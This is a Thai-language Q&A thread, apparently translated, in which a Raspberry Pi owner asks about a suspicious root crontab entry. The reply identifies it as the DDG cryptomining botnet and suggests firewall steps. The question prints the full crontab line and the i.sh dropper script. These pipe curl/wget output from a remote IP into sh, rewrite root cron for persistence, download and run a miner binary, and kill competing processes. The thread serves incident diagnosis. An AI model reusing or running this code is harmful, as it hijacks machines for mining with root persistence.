รายการ crontab ที่น่าสงสัยที่เรียกใช้ 'xribfa4' ทุก 15 นาที

ฉันต้องการเพิ่มบางอย่างลงในไฟล์ root crontab ของฉันใน Raspberry Pi ของฉันและพบรายการที่น่าสงสัยสำหรับฉันการค้นหาบางส่วนของมันบน Google ไม่ได้ทำอะไรเลย

รายการ Crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

เนื้อหาของhttp://103.219.112.66:8000/i.shคือ:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

ความรู้เกี่ยวกับ Linux ของฉันมี จำกัด แต่สำหรับฉันแล้วดูเหมือนว่าการดาวน์โหลดไบนารีจากเซิร์ฟเวอร์อินโดนีเซียและการเรียกใช้พวกเขาในฐานะที่รูทเป็นประจำไม่ใช่สิ่งที่ปกติ

นี่คืออะไร? ฉันควรทำอย่างไร?

มันเป็นบ็อตเน็ตการขุด DDG มันทำงานอย่างไร:

1. หาประโยชน์จากช่องโหว่ของ RCE
2. การปรับเปลี่ยน crontab
3. ดาวน์โหลดโปรแกรมการขุดที่เหมาะสม (เขียนด้วย go)
4. เริ่มกระบวนการขุด

DDG: การขุดบ็อตเน็ตเล็งไปที่เซิร์ฟเวอร์ฐานข้อมูล

SystemdMiner เมื่อ botnet ยืมโครงสร้างพื้นฐานของ botnet อื่น

U&L: ฉันจะฆ่ามัลแวร์ที่น่าสนใจบนอินสแตนซ์ AWS EC2 ได้อย่างไร (เซิร์ฟเวอร์ที่ถูกบุกรุก)

กำหนดพอร์ต TCP และ UDP ที่จำเป็นจริง ๆ แล้วบล็อกพอร์ตอื่น ๆ ทั้งหมดในไฟร์วอลล์ของเราเตอร์ของคุณ อาจเป็นไปได้รายการ crontab เหล่านั้นจะไม่ปรากฏขึ้นอีกครั้ง

คุณสามารถดูว่าพอร์ตใดที่เปิดอยู่และเป็นสาธารณะโดยใช้Shields Up! คุณลักษณะที่ grc.com